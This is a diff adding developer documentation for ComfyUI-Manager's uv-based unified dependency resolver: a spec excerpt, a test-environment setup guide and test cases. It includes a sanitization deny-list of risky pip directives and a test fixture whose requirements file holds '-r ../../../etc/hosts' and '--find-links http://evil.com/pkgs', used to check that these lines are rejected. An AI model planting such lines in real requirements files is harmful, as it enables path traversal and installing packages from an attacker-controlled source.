+  - Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
+- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
+- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
+- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
+- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
+- Strip comments (`#`) and blank lines
+- **Input sanitization** (see below)
+- Separate handling of `--index-url` entries (see below)
+
+**Input sanitization:**
+- Requirements lines matching the following patterns are **rejected and logged** (security defense):
+  - `-r`, `--requirement` (recursive include → path traversal risk)
+  - `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
+  - `-c`, `--constraint` (external constraint file injection)
+  - `--find-links`, `-f` (external package source specification)
+  - `@ file://` (local file reference → path traversal risk)
+  - Package names containing path separators (`/`, `\`)
+- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
+- Rejected lines are recorded in the `skipped` list with reason
+
+**`--index-url` handling:**
+- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
+- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
+- The unified resolver **unifies both paths** for consistent handling:
+  - Package spec → added to the general dependency list
+  - `--extra-index-url URL` → passed as `uv pip compile` argument
+- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
+- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
+
+**Duplicate handling strategy:**
+- No deduplication is performed directly
+- Different version specs of the same package are **all passed as-is** to uv
+- `uv pip compile` handles version resolution (uv determines the optimal version)
+
+**Output:**
+- Unified dependency list (tracked by source node pack)
+- Additional index URL list
+
+### FR-3: uv pip compile Execution
+
+**Behavior:**
+- Generate temporary requirements file from the collected dependency list
+- Execute `uv pip compile` to produce a pinned requirements.txt
+  - `--output-file` (required): Specify output file (outputs to stdout only if not specified)
+  - `--constraint`: Pass base dependencies as constraints
+  - `--python`: Current Python interpreter path
+  - `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
+- Resolve for the current platform (platform-specific results)
+
+**Error handling:**
+- Return conflict package report when resolution fails
+- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
+- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
+- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
+
+**Output:**
+- pinned requirements.txt (file with all packages pinned to exact versions)
+
+### FR-4: Pinned Requirements-based Dependency Installation
+
+**Behavior:**
+- Execute `uv pip install -r <pinned-requirements.txt>`
+  - **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
+- Already-installed packages at the same version are skipped (default uv behavior)
+- Log installation results
+
+**Error handling:**
+- `uv pip install -r` is an **atomic operation** (all-or-nothing)
+- On total failure: Parse stderr for failure cause report → fallback to existing pip
+- **No partial failure report** (not possible due to uv's behavior)
+- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
+
+### FR-5: Post-install Environment Correction
+
+**Behavior:**
+- Call `PIPFixer.fix_broken()` for environment integrity correction
+  - Restore torch version (when change detected)
+  - Fix OpenCV conflicts
+  - Restore comfyui-frontend-package
+  - Restore packages based on `pip_auto_fix.list`
+- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
+  - However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
+
+### FR-6: install.py Execution (Existing Flow Maintained)
+
+**Behavior:**
+- The unified resolver handles deps installation **at startup time only**
+- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
+- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
+
+**Control flow specification (unified mode active):**
+- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
+- `install.py` execution runs **immediately** as before
+- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
+
+**Control flow specification (unified mode inactive / fallback):**
+- Existing pip install loop runs as-is (no change)
+- `install.py` execution runs **immediately** as before
+
+### FR-7: Startup Batch Resolution
+
+**Behavior:**
+- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
+- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
+- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
+
+**Startup execution flow (in `prestartup_script.py`):**
+1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
+2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
+3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
+4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
+5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
+6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
+7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
+
+**`execute_install_script()` behavior in unified mode:**
+- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
+- `install.py` execution still runs immediately
+
+**`execute_lazy_install_script()` behavior in unified mode:**
+- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
+- `install.py` execution still runs
+
+**Windows-specific behavior:**
+- Windows lazy install path also benefits from startup batch resolution
+- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
+
+---
+
+## 4. Non-functional Requirements
+
+| Item | Requirement |
+|------|-------------|
+| **Performance** | Equal to or faster than existing individual installs |
+| **Stability** | Must not break the existing environment |
+| **Logging** | Log progress and results at each step (details below) |
+| **Error recovery** | Fallback to existing pip method on failure |
+| **Testing** | Unit test coverage above 80% |
+| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
+| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
+| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
+
+### Logging Requirements
+
+| Step | Log Level | Content |
+|------|-----------|---------|
+| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
+| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
+| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
+| `--index-url` detection | `INFO` | Detected additional index URL list |
+| uv compile start | `INFO` | Execution command (excluding sensitive info) |
+| uv compile success | `INFO` | Pinned package count, elapsed time |
+| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
+| Install start | `INFO` | Number of packages to install |
+| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
+| Install failure | `WARNING` | Failed package list, fallback transition notice |
+| Fallback transition | `WARNING` | Transition reason, original error message |
+| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
+
+> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
+
+---
+
+## 5. Usage Scenarios
+
+### Scenario 1: Single Node Pack Installation (unified mode)
+```
+User requests installation of node pack X
+→ Git clone / download node pack X
+→ Run X's install.py (if exists) — immediately
+→ Skip per-node pip install (deps deferred)
+→ User restarts ComfyUI
+→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
+→ uv pip compile resolves fully compatible versions
+→ uv pip install -r for batch installation
+→ PIPFixer environment correction
+```
+
+### Scenario 2: Multi Node Pack Batch Installation (unified mode)
+```
+User requests installation of node packs X, Y, Z
+→ Each node pack: git clone + install.py — immediately
+→ Per-node pip install skipped for all
+→ User restarts ComfyUI
+→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
+→ Single uv pip compile → single uv pip install -r
+→ PIPFixer environment correction
+```
+
+### Scenario 3: Dependency Resolution Failure (Edge Case)
+```
+Even pre-validated lists may fail due to uv version differences or platform issues
+→ uv pip compile failure → return conflict report
+→ Display conflict details to user
+→ Auto-execute existing pip fallback
+```
+
+### Scenario 4: uv Not Installed
+```
+uv unavailable detected → auto-fallback to existing pip method
+→ Display uv installation recommendation to user
+```
+
+### Scenario 5: Windows Lazy Installation (unified mode)
+```
+Node pack installation requested on Windows
+→ Node pack install deferred to startup (existing lazy mechanism)
+→ On next ComfyUI startup: unified resolver runs first (batch deps)
+→ execute_lazy_install_script() skips per-node pip (already resolved)
+→ install.py still runs per node pack
+```
+
+### Scenario 6: Malicious/Non-standard requirements.txt
+```
+Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
+→ Sanitization filter rejects the line
+→ Log rejection reason and continue processing remaining valid packages
+→ Notify user of rejected item count
+```
+
+### Scenario 7: Concurrent Install Requests (unified mode)
+```
+User requests installation of node packs A and B nearly simultaneously from UI
+→ Each request: git clone + install.py immediately, deps skipped
+→ On restart: single unified resolver run handles both A and B deps together
+→ No concurrency issue (single batch at startup)
+```
+
+---
+
+## 6. Success Metrics
+
+| Metric | Target |
+|--------|--------|
+| Dependency conflict reduction | 90%+ reduction compared to current |
+| Install success rate | 99%+ (for compatibility-verified lists) |
+| Performance | Equal to or better than existing individual installs |
+| Adoption rate | 50%+ of eligible users |
+
+---
+
+## 7. Future Extensions
+
+- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
+- Lockfile caching: Reuse for identical node pack configurations
+- Pre-install dependency conflict validation API: Check compatibility before installation
+- Dependency tree visualization: Display dependency relationships to users
+- `uv lock`-based cross-platform lockfile support (TOML format)
+- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
+- `pip_install()` integration: Route UI direct installs through unified resolver
+- Legacy module (`comfyui_manager/legacy/`) unified resolver support
+
+---
+
+## Appendix A: Existing Code Install Path Mapping
+
+> This section is reference material to clarify the unified resolver's scope of application.
+
+| Install Path | Location | v1 Applied | Notes |
+|-------------|----------|------------|-------|
+| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
+| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
+| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
+| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
+| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
+| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
+| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
+| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
+| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
+| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
+| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
+| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
+| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
+| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
+| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |

docs/dev/TEST-environment-setup.md

@@ -0,0 +1,194 @@
+# Test Environment Setup
+
+Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
+
+## Automated Setup (Recommended)
+
+Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
+
+```bash
+# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
+E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
+    bash tests/e2e/scripts/setup_e2e_env.sh
+
+# 2. Start: launches ComfyUI in background, blocks until ready
+E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
+
+# 3. Stop: graceful SIGTERM → SIGKILL shutdown
+E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
+
+# 4. Cleanup
+rm -rf /tmp/e2e_test
+```
+
+### Script Details
+
+| Script | Purpose | Input | Output |
+|--------|---------|-------|--------|
+| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
+| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
+| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
+
+**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
+
+**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
+
+---
+
+## Prerequisites
+
+- Python 3.9+
+- Git
+- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
+
+## Manual Setup (Reference)
+
+For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
+
+### 1. ComfyUI Clone
+
+```bash
+COMFY_ROOT=$(mktemp -d)/ComfyUI
+git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
+cd "$COMFY_ROOT"
+```
+
+### 2. Virtual Environment
+
+```bash
+cd "$COMFY_ROOT"
+uv venv .venv
+source .venv/bin/activate    # Linux/macOS
+# .venv\Scripts\activate     # Windows
+```
+
+### 3. ComfyUI Dependencies
+
+```bash
+# GPU (CUDA)
+uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
+
+# CPU only (lightweight, for functional testing)
+uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
+```
+
+### 4. ComfyUI-Manager Install (Development)
+
+```bash
+# MANAGER_ROOT = comfyui-manager-draft4 repository root
+MANAGER_ROOT=/path/to/comfyui-manager-draft4
+
+# Editable install from current source
+uv pip install -e "$MANAGER_ROOT"
+```
+
+> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
+> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
+
+### 5. Symlink Manager into custom_nodes
+
+```bash
+ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
+```
+
+### 6. Write config.ini
+
+```bash
+mkdir -p "$COMFY_ROOT/user/__manager"
+cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
+[default]
+use_uv = true
+use_unified_resolver = true
+EOF
+```
+
+> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
+
+### 7. HOME Isolation
+
+```bash
+export HOME=/tmp/e2e_home
+mkdir -p "$HOME/.config" "$HOME/.local/share"
+```
+
+### 8. ComfyUI Launch
+
+```bash
+cd "$COMFY_ROOT"
+PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
+```
+
+| Flag | Purpose |
+|------|---------|
+| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
+| `--cpu` | Run without GPU (for functional testing) |
+| `--port 8199` | Use non-default port to avoid conflicts |
+| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
+| `--listen` | Allow remote connections (optional) |
+
+### Key Directories
+
+| Directory | Path | Description |
+|-----------|------|-------------|
+| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
+| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
+| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
+| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
+
+> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
+> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
+
+### Startup Sequence
+
+When Manager loads successfully, the following log lines appear:
+
+```
+[PRE] ComfyUI-Manager          # prestartup_script.py executed
+[START] ComfyUI-Manager         # manager_server.py loaded
+```
+
+The `Blocked by policy` message for Manager in custom_nodes is **expected** — `should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
+
+---
+
+## Caveats & Known Issues
+
+### PYTHONPATH for `comfy` imports
+
+ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
+
+```bash
+PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
+PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
+```
+
+The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
+
+### config.ini path
+
+The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
+
+### Manager v4 endpoint prefix
+
+All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
+
+### `Blocked by policy` is expected
+
+When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
+
+### Bash `((var++))` trap
+
+Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
+
+### `git+https://` URLs in requirements.txt
+
+Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
+
+---
+
+## Cleanup
+
+```bash
+deactivate
+rm -rf "$COMFY_ROOT"
+```

docs/dev/TEST-unified-dep-resolver.md

@@ -0,0 +1,788 @@
+# Test Cases: Unified Dependency Resolver
+
+See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
+
+## Enabling the Resolver
+
+Add the following to `config.ini` (in the Manager data directory):
+
+```ini
+[default]
+use_unified_resolver = true
+```
+
+> Config path: `$COMFY_ROOT/user/__manager/config.ini`
+> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
+
+**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
+
+## API Reference (for Runtime Tests)
+
+Node pack installation at runtime uses the task queue API:
+
+```
+POST http://localhost:8199/v2/manager/queue/task
+Content-Type: application/json
+```
+
+> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
+
+**Payload** (`QueueTaskItem`):
+
+| Field | Type | Description |
+|-------|------|-------------|
+| `ui_id` | string | Unique task identifier (any string) |
+| `client_id` | string | Client identifier (any string) |
+| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
+| `params` | object | Operation-specific parameters (see below) |
+
+**Install params** (`InstallPackParams`):
+
+| Field | Type | Description |
+|-------|------|-------------|
+| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
+| `version` | string | Required by model. Set to same value as `selected_version`. |
+| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
+| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
+| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
+
+> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
+> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
+> installs use per-node pip via `legacy/manager_core.py`.
+
+---
+
+## Out of Scope (Deferred)
+
+The following are intentionally **not tested** in this version:
+
+- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
+- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
+- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
+
+## CLI E2E Tests (`cm_cli uv-compile`)
+
+These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
+the E2E environment from `setup_e2e_env.sh` are needed.
+
+**Common setup**:
+```bash
+source tests/e2e/scripts/setup_e2e_env.sh   # → E2E_ROOT=...
+export COMFYUI_PATH="$E2E_ROOT/comfyui"
+VENV_PY="$E2E_ROOT/venv/bin/python"
+```
+
+---
+
+### TC-CLI-1: Normal Batch Resolution [P0]
+
+**Steps**:
+1. Create a test node pack with a simple dependency:
+```bash
+mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
+echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
+```
+2. Run:
+```bash
+$VENV_PY -m cm_cli uv-compile
+```
+
+**Verify**:
+- Exit code: 0
+- Output contains: `Resolved N deps from M source(s)`
+- `chardet` is importable: `$VENV_PY -c "import chardet"`
+
+**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
+
+---
+
+### TC-CLI-2: No Custom Node Packs [P1]
+
+**Steps**:
+1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
+   or empty dirs may remain)
+2. Run:
+```bash
+$VENV_PY -m cm_cli uv-compile
+```
+
+**Verify**:
+- Exit code: 0
+- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
+
+---
+
+### TC-CLI-3: uv Unavailable [P0]
+
+**Steps**:
+1. Create a temporary venv **without** uv:
+```bash
+python3 -m venv /tmp/no_uv_venv
+/tmp/no_uv_venv/bin/pip install comfyui-manager   # or install from local
+```
+2. Ensure no standalone `uv` in PATH:
+```bash
+PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
+  /tmp/no_uv_venv/bin/python -m cm_cli uv-compile
+```
+
+**Verify**:
+- Exit code: 1
+- Output contains: `uv is not available`
+
+**Cleanup**: `rm -rf /tmp/no_uv_venv`
+
+---
+
+### TC-CLI-4: Conflicting Dependencies [P0]
+
+**Steps**:
+1. Create two node packs with conflicting pinned versions:
+```bash
+mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
+echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
+mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
+echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
+```
+2. Run:
+```bash
+$VENV_PY -m cm_cli uv-compile
+```
+
+**Verify**:
+- Exit code: 1
+- Output contains: `Resolution failed`
+
+**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
+
+---
+
+### TC-CLI-5: Dangerous Pattern Skip [P0]
+
+**Steps**:
+1. Create a node pack mixing valid and dangerous lines:
+```bash
+mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
+cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
+chardet>=5.0
+-r ../../../etc/hosts
+--find-links http://evil.com/pkgs
+requests>=2.28
+EOF
+```
+2. Run:
+```bash
+$VENV_PY -m cm_cli uv-compile
+```
+
+**Verify**:
+- Exit code: 0
+- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
+- `chardet` and `requests` are importable
+- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
+
+**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
+
+---
+
+### TC-CLI-6: install --uv-compile Single Pack [P0]
+
+**Steps**:
+1. In clean E2E environment, install a single node pack:
+```bash
+$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
+```
+
+**Verify**:
+- Exit code: 0
+- Per-node pip install does NOT run (no `Install: pip packages` in output)
+- `install.py` still executes
+- Output contains: `Resolved N deps from M source(s)`
+- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
+
+---
+
+### TC-CLI-7: install --uv-compile Multiple Packs [P0]
+
+**Steps**:
+1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
+```bash
+$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
+```
+
+**Verify**:
+- Exit code: 0
+- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
+- Batch resolution runs once (not twice) after all installs complete
+- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
+- New dependencies importable: `cachetools`, `webcolors`, `piexif`
+- Previously installed deps (from step 1) remain intact
+
+---
+
+## Test Fixture Setup
+
+Each TC that requires node packs should use isolated, deterministic fixtures:
+
+```bash
+# Create test node pack
+mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
+echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
+
+# Cleanup after test
+rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
+```
+
+Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
+
+---
+
+## TC-1: Normal Batch Resolution [P0]
+
+**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
+
+**Steps**:
+1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
+2. Start ComfyUI
+
+**Expected log**:
+```
+[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
+[UnifiedDepResolver] running: ... uv pip compile ...
+[UnifiedDepResolver] running: ... uv pip install ...
+[UnifiedDepResolver] startup batch resolution succeeded
+```
+
+**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
+
+---
+
+## TC-2: Disabled State (Default) [P1]
+
+**Precondition**: `use_unified_resolver = false` or key absent from config.ini
+
+**Steps**: Start ComfyUI
+
+**Verify**: No `[UnifiedDepResolver]` log output at all
+
+---
+
+## TC-3: Fallback When uv Unavailable [P0]
+
+**Precondition**: `use_unified_resolver = true`, uv completely unavailable
+
+**Steps**:
+1. Create a venv **without** uv installed (`uv` package not in venv)
+2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
+3. Start ComfyUI
+
+```bash
+# Reliable uv removal: both module and binary must be absent
+uv pip uninstall uv
+# Verify neither path works
+python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
+which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
+```
+
+**Expected log**:
+```
+[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
+```
+
+**Verify**:
+- `manager_util.use_unified_resolver` is reset to `False`
+- Subsequent node pack installations use per-node pip install normally
+
+---
+
+## TC-4: Fallback on Compile Failure [P0]
+
+**Precondition**: `use_unified_resolver = true`, conflicting dependencies
+
+**Steps**:
+1. Node pack A `requirements.txt`: `numpy==1.24.0`
+2. Node pack B `requirements.txt`: `numpy==1.26.0`
+3. Start ComfyUI
+
+**Expected log**:
+```
+[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
+```
+
+**Verify**:
+- `manager_util.use_unified_resolver` is reset to `False`
+- Falls back to per-node pip install normally
+
+---
+
+## TC-5: Fallback on Install Failure [P0]
+
+**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
+
+**Steps**:
+1. Create node pack with `requirements.txt`: `numpy<2`
+2. Force install failure by making the venv's `site-packages` read-only:
+```bash
+chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
+```
+3. Start ComfyUI
+4. After test, restore permissions:
+```bash
+chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
+```
+
+**Expected log**:
+```
+[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
+```
+> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
+
+**Verify**:
